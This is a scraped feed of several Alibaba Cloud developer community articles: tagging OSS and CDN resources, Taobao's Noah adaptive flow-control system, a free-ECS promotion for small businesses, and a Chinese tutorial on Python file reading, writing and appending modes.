                    {
                        "Action": [
                            "oss:ListBuckets"
                        ],
                        "Resource": [
                            "acs:oss:*:1932487924256138:*"
                        ],
                        "Effect": "Allow",
                        "Condition": {
                            "StringEquals": {
                                "oss:BucketTag/keytest": "valuetest"
                            }
                        }
                    }
                ]
            }

        相关文档

        标记您的 RDS 资源
        标记您的 SLB 资源
        标记您的 ECS 资源
        如何检查您的资源是否具有您指定的标签?
        基于标签批量管理资源
        支持标签产品及其文档
        标签的最佳实践
        通过OOS基于标签批量启动ECS实例实践
        如何使用标签控制对ECS 资源的访问?
        使用标签检索资源
        创建资源标签分组设置
        ECS全局标签实践
        ECS控制台云资源分组管理---全局标签

        ]]>
        标记您的 CDN 资源——域名(domain)-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 CDN标签基本概述
        1. 标签基本定义

          • 标签是资源Meta信息,标签是一些充当元数据的词和短语,支持用户自定义和系统预制。每个标签都包含一个键(Key)和一个值(Value)。标签是一种资源的属性描述。
          • 标签与资源是 多对多的关系。
        2. 标签基本限制

          • 最大键(key)长度:64 个 Unicode 字符
          • 最大值(value)长度:128 个 Unicode 字符
          • 同一个资源上的同一个键只能有一个标签。如果您尝试添加现有标签 (相同键),现有标签值会更新为新值。
          • 允许的字符包括 Unicode 字母、空格和数字,以及以下特殊字符为

            • 匹配这些中文标点符号 。?!,、;:“ ” ‘ ’( ) 《 》 〈 〉 【 】 『 』 「 」 ﹃ ﹄ 〔 〕 … — ~ ﹏ ¥
            • 匹配这些英文标点符号 -.!@#$%?/^&*)(+={}[]",'<>~·`?:;|_
          • 每个资源的最大 自定义 标签数:20
          • 键(key)不支持 aliyun、acs: 开头。 不允许包含http://https:// 。不允许为空字符串。
          • 值(value)不允许包含http://https:// 。允许为空字符串。
        3. 标签在CDN中的作用

          阿里云CDN不对标签进行任何定义,仅严格按字符串对标签和域名进行匹配、筛选。您可以通过标签管理功能,对加速域名进行绑定标签、解绑标签、分组管理和筛选数据。

        PS : 标签设计最佳实践

        CDN 通过标签管理域名几种方式

        1. 控制台操作

          • 创建用于标记域名的用途或对域名进行分组管理的标签操作步骤
          • 删除已经不再适用于您当前某个或多个域名用途的标签。操作步骤
          • 域名绑定标签后,您可以使用标签,快速筛选对应的域名,进行分组管理操作步骤
          • 使用标签筛选数据[操作步骤]()
        2. API操作

          • 查询资源对应标签列表API
          • 查询所有用户标签API
          • 删除标签资源关系API
          • 创建标签资源关系API
        3. CDN 标签使用案例

        相关文档

        标记您的 OSS 资源
        标记您的 RDS 资源
        标记您的 SLB 资源
        标记您的 ECS 资源
        如何检查您的资源是否具有您指定的标签?
        基于标签批量管理资源
        支持标签产品及其文档
        标签的最佳实践
        通过OOS基于标签批量启动ECS实例实践
        如何使用标签控制对ECS 资源的访问?
        使用标签检索资源
        创建资源标签分组设置
        ECS全局标签实践
        ECS控制台云资源分组管理---全局标签

        ]]>
        淘宝如何保障业务稳定性——诺亚(Noah)自适应流控-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 image.png
        作者|哲良、八风、泽彬
        出品|阿里巴巴新零售淘系技术部

        诺亚(Noah) 自适应流控解决方案 基于自动控制算法,解决了人工限流配置疏漏或过时的痛点,大幅提升应用抵抗流量冲击的能力。在刚过去的双11中,诺亚(Noah)保障了大量业务应用系统,有超过 15K 的容器大规模部署;稳定性上最高可提升 20 倍于业务负载流量的上限 QPS ;最高可提升 100% 的资源利用率;同时优化了体验与效率。提升淘系(及更多BU)的稳定性底盘,成为应用稳定性保障的核心能力,推动了业界在大型分布式在线业务系统的高可用/稳定性保障的进展。

        背景

        随着业务的不断发展,应用数量、拓扑依赖与复杂性都在持续增长,流量模型的有效预测也变得更加困难。系统与流量的不确定性都会导致系统容量评估疏漏或评估过时。这些情况在双11、春晚等大型复杂活动中会更加的突显。

        面向流量的「意义」

        流量会受到业务的影响而发生强变化的,这种变化是不确定的且在频繁发生的。

        应对这种不确定性需要基础架构有可靠的、自适应的方式,能够

        实时接受与感知变化

        作出保护响应来抵御变化,自适应的、柔性的实施系统/架构

        然后是弹性,针对基础资源做实时调节

        这样才能具备有效的抵抗力、适应力,活着是前提,有了这个前提,才有机会将基础资源驱动起来(弹性),而业务无需耗费心力去关注这种不确定性带来的业务可用性风险。

        关于高可用的重新思考

        业界在讨论高可用时,主要说的是资源失效的对应方式,比如通过应用集群、主备、热切换等应对单机失效;通过单元化架构、异地多活等应对单机房/地域失效。

        image.png

        从上面对资源失效的问题与对策可以看出,高可用所要解决的核心问题是保证服务不挂,准确的说是要大大降低服务挂掉的概率。

        到了今天我们的应用架构,我们的可用性痛点问题是什么呢?对于你自己开发的应用,或听到某某服务挂了时,你会担心或者想到什么?在可用性方面,相信更多的回答会是『服务压跨了』,典型的是问题场景是『大流量、突发流量』下,比如:直播场景中主播一声吼,后端流量飙升;社交媒体场景中明星官宣结婚,带来热点流量暴涨;电商运营场景中,秒杀活动大流量脉冲;互动玩法场景中持续不断发布互动活动,一个新的活动导致系统整体可支撑的QPS可能下降很多。这些场景与问题在日常应用开发和服务保障过程中,应该是深有痛点吧 :)

        在应用架构上,业界对面向流量的可用性,不如像面向资源一样得到充分的关注、有着丰富成熟的思路和广泛有效的实践,我们有意于改变 面向流量的可用性 这个主题的现状,更多的直面问题、探索思路、实践推进。

        image.png

        传统方案有什么问题?

        面向流量的可用性现有的应对方式是静态限流。

        image.png

        传统的针对 QPS 限制的静态限流方法的问题:

        • 流量/请求

        依赖 请求模型的准确评估,即测试流量的请求大小与实际需保持一致。
        热点流量,如热点用户被频繁访问/爆冷商品等。运营导致用户动线走了较重的逻辑分支。

        依赖 来的流量的准确预估。
        但我们要承认,流量一定无法准确被评估,系统会被摸死(即拒绝操作导致的过载)。

        • 业务代码逻辑

        依赖 测试之后系统自身和其下游依赖的逻辑不变,性能需保持一致。
        但是业务总是在演进,除非全网封网,否则限流阈值一上线就已经过时了。

        • 资源

        依赖 各台机器性能完全一致且稳定不变。

        机器型号不同,处理能力是不可能做到完全一致的。

        虚拟化/容器化之间有影响,你无法控制你的邻居会做什么。

        • 流程

        依赖 事先人工准确执行了评估过程
        但人总是靠不住的,只要人工来执行就一定会疏漏、出错。

        另外对于长尾应用/非核心应用,支持力度没有保障,人力资源总是有限的。

        传统方法无法解决人工评估过时导致的流量与容量不一致的问题,我们需要一种能够实时评估系统容量,并就地对流量进行控制的解决方案。

        诺亚(Noah)自适应流控

        面对系统稳定性问题,诺亚(Noah) 自适应流控解决方案采用不同于业界传统的针对QPS限制的静态限流方法,首次以自动控制算法为核心手段,提供自适应流控解决方案,解决了限流配置过时的痛点,大幅提升应用抵抗流量冲击的能力,极度简化了相关配置工作,同时在系统资源利用率、用户体验、运维效率等方面均有大幅优化提升。

        image.png

        诺亚(Noah)自适应流控解决方案

        在绝大部分情况下,CPU利用率作为资源供给的主要信号是最为直接的。诺亚(Noah) 自适应流控解决方案即是以自动控制CPU资源为核心方法的,其具备了一下3点优势:

        在系统稳定性控制效果方面表现为精准和有效的控制,并具备很强的可解释性。

        没有提前的人工评估,便没有提前评估的过时与人工评估的疏漏和错误。

        应用场景更为广泛,不受异步场景约束,可同时使用于同步和异步场景。

        诺亚(Noah) 自适应流控解决方案能够实时自动评估 QPS ,在技术方案上使用自适应性来解决业务流量的不确定性。

        业务落地

        作为淘宝应用架构升级(代号Tango:Taobao Architecture Next GeneratiOn)在稳定性上的核心产品,诺亚(Noah)在刚刚过去的双11大促过程中,保障大量业务应用系统,有超过15K的容器大规模部署(涉及淘宝、天猫、聚划算、盒马、猫超、优酷等等众多业务)。提升系统稳定性、提升资源利用率、优化体验与效率,提升了淘系(及更多BU)的稳定性底盘,成为应用稳定性保障的核心能力,推动了业界在大型分布式在线业务系统的高可用/稳定性保障的进展。

        诺亚(Noah) 自适应流控解决方案目前已上线超过9个月,在线上实战和全链路压测中,诺亚保护了大促会场、直播、导购等等核心业务场景;应用系统在出现容量缺失30%或近20倍超大流量脉冲场景下仍保持稳定运行。

        诺亚(Noah)自适应流控的效果收益:

        • 可用性提升

        压垮QPS上限,最高可提升 20倍 于业务负载流量。

        在大流量压力下降后,1秒 快速恢复服务。

        大流量压力下,仅需直接扩容机器 一步即可,无需紧急调整限流。

        • 用户体验的优化

        应用在高负载情况下,服务成功率最高可提升 2.7倍,同时响应时间维持正常水平不劣化。

        • 成本的优化

        资源利用率最高可提升 100%(去除为了稳定性/不确定性而留的资源冗余)

        • 效率提升

        全链路压测/性能压测更顺畅。无需人工限流阈值设置,避免人工评估错误导致系统被压垮后需要大量调整时间。

        image.png

        自适应流控的实际控制效果:在流量飙升/大流量压力时,CPU稳定控制在阈值,且服务RT正常

        诺亚后续的发展

        目前诺亚(Noah) 自适应流控解决方案保障了大量业务应用系统,提升稳定性、提升资源利用率、优化体验与效率,提升淘系(及更多BU)的稳定性底盘,成为应用稳定性保障的核心能力,推动了业界在大型分布式在线业务系统的高可用/稳定性保障的进展。

        对未来更体系化建设的几点展望:

        • 自适应能力由限流拓展到隔离/熔断等更多稳定性能力,如

        自适应线程资源隔离

        自适应服务比例

        自适应服务熔断

        • 由单机的自适应限流拓展到链路级,尤其是客户端流量入口接入层

        与接入层协同,让入口流量与应用的处理容量自适应匹配

        确定性地保障面向流量的高可用

        • 自适应控制流量拓展到自适应伸缩容

        流量控制与处理资源控制(伸缩容)协同

        无论是流量的控制还是资源的控制,都是为了让处理流量与资源容量匹配

        • 保障系统不过载,提升稳定性与业务请求的成功率

        One More Thing

        淘系技术部依托淘系丰富的业务形态和海量的用户,我们持续以技术驱动产品和商业创新,不断探索和衍生颠覆型互联网新技术,以更加智能、友好、普惠的科技深度重塑产业和用户体验,打造新商业。我们不断吸引用户增长、机器学习、视觉算法、音视频通信、数字媒体、移动技术、端侧智能等领域全球顶尖专业人才加入,让科技引领面向未来的商业创新和进步。

        请投递简历至邮箱:ruoqi.zlj@taobao.com

        了解更多职位详情:2684亿成交!每秒订单峰值54.4W!这样的团队你想加入吗?

        image.png

        ]]>
        免费12个月!阿里云助力中小企业0成本上云-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 最新消息,阿里云宣布为企业用户推出云服务器免费12个月扶持计划,助力中小企业0成本上云。阿里云表示,该计划每年投入2000万,超5万中小企业受益,本计划已于2019年11月27日上线。

        阿里云智能总裁张建锋在2019阿里云峰会上海站上提出“全面上云的拐点到了!”为了更好的帮助中小企业成长,帮助企业从传统IT向云计算全面转移,阿里云也加大对中小企业全面扶持上云的力度。虽然,现在已有上万家企业将IT系统全面迁移到阿里云,比如飞利浦中国、迅雷、万科物业、百丽、居然之家、西贝莜面村等。但目前更广大的中小企业上云的需求普遍仍然未被满足。经调研,目前部署在所有公共云上的工作负载仍然不超过总负载的20%,这意味着仍有80%的工作负载仍然部署在线下的各个IDC机房,自建机房以及企业自己维护的服务器上,为了能引导企业消除上云的心理门槛,降低企业上云的成本,阿里云推出了企业免费12个月扶持计划,助力中小企业0成本上云。

        免费用一年 可满足企业建站、开发测试等场景
        本次推出的企业免费12个月计划,将为中小企业提供最新一代入门级云服务器—突发性能实例T6(以下简称T6)相比上一代T5实例,其规格基准性能提升,性价比最高提升180%。最新一代产品具体以下三个特性:

        • 基于阿里云自研神龙芯片和轻量化Hypervisor
        • CPU处理器采用2.5 GHz主频的最新一代Intel ® Xeon ® 服务器级别Cascade Lake处理器,睿频3.2 GHz
        • 提供突发网络带宽能力,最高高达6Gbps

        T6是一款较高性价的入门级产品,它适用于平时负载不高,仅在某些时段对计算性能有突发性要求的场景。可满足中小企业品牌形象网站建设、企业开发测试等应用场景。

        image

        适用场景一:中小企业品牌形象网站建设
        传统行业企业上云的第一步,一般是在云端部署一个网站,即企业的官方网站。企业网站是纯展示网站,便于企业的潜在客户能够联系到企业,在需要保证稳定性的前提下,总的访问量并不大。T6刚好可满足企业这种用量不大但要求稳定性的场景,企业可免费用一年。T6规格族本次提供的2核2G实例,双核CPU性能基线为20%,如果只使用单核能够达到40%。经过阿里云多年运营企业网站的数据统计,绝大多数企业网站的日平均CPU使用率不超过20%,因此可以说本次提供的实例是够用甚至是超过一般企业网站的需求的。

        从稳定性方面,云计算也具备物理机所不具备的优势。

        从19年12月1日起,阿里云云服务器ECS的服务等级协议SLA迎来重大升级,进一步的保障了服务的稳定性。

        (1)对于单实例维度, 阿里云承诺一个服务周期内ECS的服务可用性不低于99.975%;

        (2)对于单地域多可用区维度,阿里云承诺一个服务周期内ECS的服务可用性不低于99.995%。

        适用场景二:互联网企业开发测试
        对于具备开发能力的互联网企业,免费12个月的T6也有用武之地。一般企业的软件服务的开发流程,需要经过开发和测试和最终发布。在开发和测试的过程中,需要将开发环境和测试环境部署到专用服务器上,并且和生产环境做隔离。而突发性能实例的功能特性和性价比非常适合部署开发环境和测试环境。我们知道,一般的开发和测试环境的专用服务器利用率极低,一般只有在部署,单元测试,整体自动化测试的流程中才会产生资源消耗,平时一般都是闲置的或者使用率极低的,而突发性能实例提供的性能基线(本次实例为20%)能够满足这种平时使用率极低,只有在短时间有使用需求的场景。突发性能实例可将24小时之内闲置不用的CPU计算能力存储为CPU积分,遇到有资源使用需求的时候,可以消耗之前积攒的CPU积分获得超过CPU使用基线的能力,最高能够到达CPU使用率100%。

        对比国内云厂商同类型实例 具备明显优势
        对比其他国内云厂商的共享实例来看,突发性能实例保证了一定的CPU性能基线,满足了绝大多数的应用负载需求,并保证不被其他用户争抢,同时性能是可预期的,可重复获得的。用户的日常使用CPU需求一般都能够在性能基线以内被覆盖。从实例性能来看,突发性能实例T6规格族也提供了最低5%,最高40%的性能基线,CPU主频达2.5Ghz,睿频高达3.2GHz,同时提供了高达6Gbps的网络带宽(内网),对比其他云厂商的同类型实例也具备明显优势。

        除了突发性能实例T6实例以外,阿里云中小企业扶持计划,还提供了更多企业级实例的免费使用,从2核-8核多规格多时长实例的免费选择,现在就可登录阿里云企业免费试用活动页面,开启0成本上云之路→https://free.aliyun.com/

        原文发布时间:2019-11-27
        本文作者:云栖小学者
        本文来自云栖社区,了解相关信息可以关注“云栖社区

        ]]>
        Python 文件的操作-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 引子:

        现在这个世界上,如果可以操作文件的所有软件都消失了,比如word,wps等等,此时你的朋友通过qq给你发过来一个文件,文件名是:美女模特空姐护士联系方式.txt,在座的所有男同学,那么你接受到这个文件之后,你的内心是否有一丝冲动,当然咱们不是那种闷骚的人,其实我们就是比较好奇,就是想要看看里面写的是什么,仅此而已,绝不联系。但是我说了所有可以操作文件的软件全部都没了,那么你是不是百爪挠心,火急火燎,哎呀。别急呀,你忘了么?你学过Python这门编程语言,这个语言肯定有能操控文件的功能。我相信在这种强大的动力下,你是可以,必须能学会的。
        

        那么假设,现在让你用Python开发一个软件来操作这个文件,你觉得你需要什么必要参数呢?

          文件路径:D:美女模特空姐护士联系方式.txt  (你想操作这个文件,必须要知道这个文件的位置)
        
          编码方式:utf-8,gbk,gb2312....  (昨天刚讲完编码,文件其实就是数据的存储,数据存储你需要编码知道这个数据是以什么编码存储的)
        
          操作模式:只读,只写,追加,写读,读写....
        

        计算机系统分为:计算机硬件,操作系统,应用程序三部分。

        我们用python或其他语言编写的应用程序若想要把数据永久保存下来,必须要保存于硬盘中,
        这就涉及到应用程序要操作硬件,众所周知,应用程序是无法直接操作硬件的,这就用到了操作系统。
        操作系统把复杂的硬件操作封装成简单的接口给用户/应用程序使用,
        其中文件就是操作系统提供给应用程序来操作硬盘虚拟概念,用户或应用程序通过操作文件,可以将自己的数据永久保存下来。

        文件操作的内容流程
        此时你需要先利用软件创建一个文件,文件里面随便写一些内容,然后保存在任意磁盘(路径尽量要简单一些)中。

        然后创建一个py文件,利用Python代码打开这个文件。

        file1 = open("/home/yuchuan/YuchuanData/PythonData/temp/china.txt", mode="r", encoding="utf-8")
        content = file1.read()
        print(content)
        file1.close()
        结果

        /home/yuchuan/YuchuanData/PythonData/PythonProject/venv/bin/python /home/yuchuan/YuchuanData/PythonData/PythonProject/YuchuanPythonDemo03.py
        101 ways to Learn English
        Don't be afraid to make mistakes. ...
        Surround yourself in English. ...
        Practise every day. ...
        Tell your family and friends about your study plan. ...
        Practise the 4 core skills: reading, writing, speaking and listening. ...
        Keep a notebook of new words you learn.

        Process finished with exit code 0
        接下来就是对上面代码的解释:

        file1: 就是一个变量,一般都会将它写成f,f_obj,file,f_handler,fh,等,它被称作文件句柄。
        
        open:是Python调用的操作系统(windows,linux,等)的功能。
        
        "/home/yuchuan/YuchuanData/PythonData/temp/china.txt": 这个是文件的路径。
        
        mode: 就是定义你的操作方式:r为读模式。
        
        encoding: 不是具体的编码或者解码,他就是声明:此次打开文件使用什么编码本。一般来说:你的文件用什么编码保存的,就用什么方法打开,一般都是用utf-8(有些使用的是gbk)。
        
        f.read():你想操作文件,比如读文件,给文件写内容,等等,都必须通过文件句柄进行操作。
        
        close(): 关闭文件句柄(可以把文件句柄理解成一个空间,这个空间存在内存中,必须要主动关闭)。
        

        上面的参数解释
        有了文件的概念,我们无需再去考虑操作硬盘的细节,只需要关注操作文件的流程:

        1、打开文件,得到文件句柄,并且复制给一个变量。默认打开模式九尾r。

        file1 = open("/home/yuchuan/YuchuanData/PythonData/temp/china.txt", mode="r", encoding="utf-8")

        2、通过句柄操作文件。

        content = file1.read()
        print(content)

        3、关闭文件

        file1.close()
        练习上面代码,可能出现的问题:

        1. 路径问题。

        /home/yuchuan/YuchuanData/PythonData/PythonProject/venv/bin/python /home/yuchuan/YuchuanData/PythonData/PythonProject/YuchuanPythonDemo03.py
        Traceback (most recent call last):
        File "/home/yuchuan/YuchuanData/PythonData/PythonProject/YuchuanPythonDemo03.py", line 2, in

        file1 = open("/home/yuchuan/YuchuanData/PythonData/temp1/china.txt", mode="r", encoding="utf-8")

        FileNotFoundError: [Errno 2] No such file or directory: '/home/yuchuan/YuchuanData/PythonData/temp1/china.txt'

        Process finished with exit code 1
        没有匹配的文件或目录:No such file or directory: 路径错误或者是没有此文件名的文件。

        你的的路径里面的与后面的字符产生了某种'化学反应',这个截图中的D此时就不是路径分隔符了,D就有了特殊意义,其实跟t,n,换行符一样,所以针对这种情况,你应该这样解决:

        解决方式一: 'C:\Users金鑫Desktop\111.txt' 凡是路径会发生化学反应的地方,多加一个 这样就是前面对后面的进行转译,告诉计算机这个只是想单纯的表示路径而已。
        
        解决方式二: r'C:\Users金鑫Desktop\111.txt' 在路径的整体前面加一个r。(推荐)
        

        相对路径与绝对路径:

          1.绝对路径:从磁盘根目录开始一直到文件名

          2.相对路径:用一个文件夹下的文件,相对于当前这个程序所在的文件而言.如果在同一个文件中,则相对路劲就是这个文件名.如果再上一层文件夹则要使用../相对路径下,你就可以直接写文件名即可。

        1. 编码的问题

        1574258428262445.png这个问题就是你打开文件的编码与文件存储时的编码用的编码本不一致导致的。比如这个文件当时用word软件保存时,word软件默认的编码为utf-8,但是你利用python代码打开时,用的gbk,那么这个就会报错了。

        文件操作的操作模式分为三个类:读,写,追加。每一类又有一些具体的方法,那么接下来我们就分类研究这些方法。

        二. 文件操作:读
         2.1 r模式
        以只读方式打开文件,文件的指针将会放在文件的开头。是文件操作最常用的模式,也是默认模式,如果一个文件不设置mode,那么默认使用r模式操作文件。

        举例说明:

        1、打开文件,得到文件句柄,并且复制给一个变量。默认打开模式九尾r。

        file1 = open("/home/yuchuan/YuchuanData/PythonData/temp/china.txt", encoding="utf-8")

        2、通过句柄操作文件。

        content = file1.read()

        3、关闭文件

        file1.close()

        print(content)
        结果

        /home/yuchuan/YuchuanData/PythonData/PythonProject/venv/bin/python /home/yuchuan/YuchuanData/PythonData/PythonProject/YuchuanPythonDemo03.py
        101 ways to Learn English
        Don't be afraid to make mistakes. ...
        Surround yourself in English. ...
        Practise every day. ...
        Tell your family and friends about your study plan. ...
        Practise the 4 core skills: reading, writing, speaking and listening. ...
        Keep a notebook of new words you learn.

        Process finished with exit code 0
        通过上面的例子可以看出来,我将china.txt这个文件的内容全部读取出来了,那么读一个文件还可以怎么读取呢?下面我们研究一下不同的读文件的方法。

        2.1.1 read()
        read()将文件中的内容全部读取出来;弊端 如果文件很大就会非常的占用内存,容易导致内存奔溃.

        1、打开文件,得到文件句柄,并且复制给一个变量。默认打开模式九尾r。

        file1 = open("/home/yuchuan/YuchuanData/PythonData/temp/china.txt", mode='r', encoding="utf-8")

        2、通过句柄操作文件。

        content = file1.read()

        3、关闭文件

        file1.close()

        print(content)

        2.1.2 read(n)

        read()读取的时候指定读取到什么位置
        
        在r模式下,n按照字符读取。
        

        1、打开文件,得到文件句柄,并且复制给一个变量。默认打开模式九尾r。

        file1 = open("/home/yuchuan/YuchuanData/PythonData/temp/china.txt", mode='r', encoding="utf-8")

        2、通过句柄操作文件。

        content = file1.read(10)
        content1 = file1.read()

        3、关闭文件

        file1.close()

        print(content)
        print(content1)
        结果

        /home/yuchuan/YuchuanData/PythonData/PythonProject/venv/bin/python /home/yuchuan/YuchuanData/PythonData/PythonProject/YuchuanPythonDemo03.py
        101 ways t #content

        o Learn English
        Don't be afraid to make mistakes. ...
        Surround yourself in English. ...
        Practise every day. ...
        Tell your family and friends about your study plan. ...
        Practise the 4 core skills: reading, writing, speaking and listening. ...
        Keep a notebook of new words you learn.

        Process finished with exit code 0

        2.1.3 readline()

        readline()读取每次只读取一行,注意点:readline()读取出来的数据在后面都有一个n

        1、打开文件,得到文件句柄,并且复制给一个变量。默认打开模式九尾r。

        file1 = open("/home/yuchuan/YuchuanData/PythonData/temp/china.txt", mode='r', encoding="utf-8")

        2、通过句柄操作文件。

        msg1 = file1.readline()
        msg2 = file1.readline()
        msg3 = file1.readline()
        msg4 = file1.readline()
        msg5 = file1.readline()

        3、关闭文件

        file1.close()

        print(msg1)
        print(msg2)
        print(msg3)
        print(msg4)
        print(msg5)
        结果

        /home/yuchuan/YuchuanData/PythonData/PythonProject/venv/bin/python /home/yuchuan/YuchuanData/PythonData/PythonProject/YuchuanPythonDemo03.py
        101 ways to Learn English

        Don't be afraid to make mistakes. ...

        Surround yourself in English. ...

        Practise every day. ...

        Tell your family and friends about your study plan. ...

        Process finished with exit code 0
        解决这个问题只需要在我们读取出来的文件后边加一个strip()就OK了

        1、打开文件,得到文件句柄,并且复制给一个变量。默认打开模式九尾r。

        file1 = open("/home/yuchuan/YuchuanData/PythonData/temp/china.txt", mode='r', encoding="utf-8")

        2、通过句柄操作文件。

        msg1 = file1.readline().strip()
        msg2 = file1.readline().strip()
        msg3 = file1.readline().strip()
        msg4 = file1.readline().strip()
        msg5 = file1.readline().strip()

        3、关闭文件

        file1.close()

        print(msg1)
        print(msg2)
        print(msg3)
        print(msg4)
        print(msg5)
        结果

        /home/yuchuan/YuchuanData/PythonData/PythonProject/venv/bin/python /home/yuchuan/YuchuanData/PythonData/PythonProject/YuchuanPythonDemo03.py
        101 ways to Learn English
        Don't be afraid to make mistakes. ...
        Surround yourself in English. ...
        Practise every day. ...
        Tell your family and friends about your study plan. ...

        Process finished with exit code 0

        2.1.4 readlines()

        readlines() 返回一个列表,列表里面每个元素是原文件的每一行,如果文件很大,占内存,容易崩盘。

        1、打开文件,得到文件句柄,并且复制给一个变量。默认打开模式九尾r。

        file1 = open("/home/yuchuan/YuchuanData/PythonData/temp/china.txt", mode='r', encoding="utf-8")

        2、通过句柄操作文件。

        print(file1.readlines())

        3、关闭文件

        file1.close()
        结果

        /home/yuchuan/YuchuanData/PythonData/PythonProject/venv/bin/python /home/yuchuan/YuchuanData/PythonData/PythonProject/YuchuanPythonDemo03.py
        ['101 ways to Learn Englishn',
        "Don't be afraid to make mistakes. ...n",
        'Surround yourself in English. ...n',
        'Practise every day. ...n',
        'Tell your family and friends about your study plan. ...n',
        'Practise the 4 core skills: reading, writing, speaking and listening. ...n',
        'Keep a notebook of new words you learn.n'
        ]

        Process finished with exit code 0

        上面这四种都不太好,因为如果文件较大,他们很容易撑爆内存,所以接下来我们看一下第五种:

            2.1.5 for循环
        

        可以通过for循环去读取,文件句柄是一个迭代器,他的特点就是每次循环只在内存中占一行的数据,非常节省内存。

        1、打开文件,得到文件句柄,并且复制给一个变量。默认打开模式九尾r。

        file1 = open("/home/yuchuan/YuchuanData/PythonData/temp/china.txt", mode='r', encoding="utf-8")

        2、通过句柄操作文件。

        for line in file1:

        print(line.strip())

        3、关闭文件

        file1.close()
        结果

        /home/yuchuan/YuchuanData/PythonData/PythonProject/venv/bin/python /home/yuchuan/YuchuanData/PythonData/PythonProject/YuchuanPythonDemo03.py
        101 ways to Learn English
        Don't be afraid to make mistakes. ...
        Surround yourself in English. ...
        Practise every day. ...
        Tell your family and friends about your study plan. ...
        Practise the 4 core skills: reading, writing, speaking and listening. ...
        Keep a notebook of new words you learn.

        Process finished with exit code 0
        注意点:读完的文件句柄一定要关闭

        2.2 rb模式
        rb模式:以二进制格式打开一个文件用于只读。文件指针将会放在文件的开头。记住下面讲的也是一样,带b的都是以二进制的格式操作文件,他们主要是操作非文字文件:图片,音频,视频等,并且如果你要是带有b的模式操作文件,那么不用声明编码方式。

        可以网上下载一个图片给同学们举例:

        1、打开文件,得到文件句柄,并且复制给一个变量。默认打开模式九尾r。

        fd = open("/home/yuchuan/Pictures/004.png", mode="rb")
        for line in fd:

        print(line)
        

        fd.close()

        1、打开文件,得到文件句柄,并且复制给一个变量。默认打开模式九尾r。

        fd = open("/home/yuchuan/Pictures/004.png", mode="rb")

        msg = fd.read()
        print(msg)

        for line in fd:

        print(line)

        fd.close()
        结果

        /home/yuchuan/YuchuanData/PythonData/PythonProject/venv/bin/python /home/yuchuan/YuchuanData/PythonData/PythonProject/YuchuanPythonDemo03.py
        b'x89PNGrnx1anx00x00x00rIHDRx00x00x02xb4x00x00x02xb3x08x06x00x00x00xef;12x90@x1bxddxbaUxc9D@x04jx89xc0x0e;......

        Process finished with exit code 0
        当然rb模式也有read read(n) readline(),readlines() for循环这几种方法,我在这就不一一演示了。

        三. 文件操作:写

        第二类就是写,就是在文件中写入内容。这里也有四种文件分类主要四种模式:w,wb,w+,w+b,我们只讲w,wb。

        3.1 w模式
        

          如果文件不存在,利用w模式操作文件,那么它会先创建文件,然后写入内容.

        fd = open("demo001.txt", mode="w", encoding="utf-8")
        str1 = "世界你好"
        fd.write(str1)
        fd.close()
        结果

        1574425381175646.png

        如果文件存在,利用w模式操作文件,先清空原文件内容,在写入新内容。

        fd = open("demo001.txt", mode="w", encoding="utf-8")
        str2 ="美好的明天才刚刚开始,请珍惜每一天"
        fd.write(str2)
        fd.close()
        运行前:

        1574425711753533.png

        运行后:

        1574425821552816.png

        3.2 wb模式

          wb模式:以二进制格式打开一个文件只用于写入。如果该文件已存在则打开文件,并从开头开始编辑,即原有内容会被删除。如果该文件不存在,创建新文件。一般用于非文本文件如:图片,音频,视频等。

        举例说明:

        我先以rb的模式将一个图片的内容以bytes类型全部读取出来,然后在以wb将全部读取出来的数据写入一个新文件,这样我就完成了类似于一个图片复制的流程。具体代码如下:

        fd1 = open("/home/yuchuan/Pictures/001.png", mode="rb")
        fd2 = open("/home/yuchuan/Pictures/111.png", mode="wb")
        flag = 1
        while flag:

        content = fd1.readline()
        fd2.write(content)
        if not content:  # 等价于if content == "":
            flag = 0

        fd1.close()
        fd2.close()
        结果:

        1574427778258062.png

        四. 文件操作:追加
        第三类就是追加,就是在文件中追加内容。这里也有四种文件分类主要四种模式:a,ab,a+,a+b,我们只讲a。

        4.1 a模式

        打开一个文件用于追加。如果该文件已存在,文件指针将会放在文件的结尾。也就是说,新的内容将会被写入到已有内容之后。如果该文件不存在,创建新文件进行写入。

          如果文件不存在,利用a模式操作文件,那么它会先创建文件,然后写入内容。

        fd = open("demo002.txt", mode="a+", encoding="utf-8")
        str1 = "努力才能突破,突破自己"
        fd.write(str1)
        fd.close()
        结果:

        1574429481197217.png

        如果文件存在,利用a模式操作文件,那么它会在文件的最后面追加内容。

        fd = open("demo002.txt", mode="a+", encoding="utf-8")
        str2 = "继续接着努力,成功飞跃"
        fd.write(str2)
        fd.close()
        结果:

        1574429917414251.png

        五. 文件操作的其他模式
        大家发现了没有,咱们还有一种模式没有讲,就是那种带+号的模式。什么是带+的模式呢?+就是加一个功能。比如刚才讲的r模式是只读模式,在这种模式下,文件句柄只能进行类似于read的这读的操作,而不能进行write这种写的操作。所以我们想让这个文件句柄既可以进行读的操作,又可以进行写的操作,那么这个如何做呢?这就是接下来要说这样的模式:r+ 读写模式,w+写读模式,a+写读模式,r+b 以bytes类型的读写模式.........

        在这里咱们只讲一种就是r+,其他的大同小异,自己可以练练就行了。

        1. 打开文件的模式有(默认为文本模式):

        r ,只读模式【默认模式,文件必须存在,不存在则抛出异常】
        w,只写模式【不可读;不存在则创建;存在则清空内容】
        a, 只追加写模式【不可读;不存在则创建;存在则只追加内容】

        2. 对于非文本文件,我们只能使用b模式,"b"表示以字节的方式操作(而所有文件也都是以字节的形式存储的,使用这种模式无需考虑文本文件的字符编码、图片文件的jgp格式、视频文件的avi格式)

        rb
        wb
        ab
        注:以b方式打开时,读取到的内容是字节类型,写入时也需要提供字节类型,不能指定编码

        3,‘+’模式(就是增加了一个功能)

        r+, 读写【可读,可写】
        w+,写读【可写,可读】
        a+, 写读【可写,可读】

        4,以bytes类型操作的读写,写读,写读模式

        r+b, 读写【可读,可写】
        w+b,写读【可写,可读】
        a+b, 写读【可写,可读】
        5.1 r+模式
        r+: 打开一个文件用于读写。文件指针默认将会放在文件的开头。

        fd = open("demo002.txt", mode="r+", encoding="utf-8")
        content1 = fd.read()
        print(content1)

        str1 = "。快快乐乐继续前进"
        fd.write(str1)
        fd.close()

        结果:

        1574431050192070.png

        ]]>
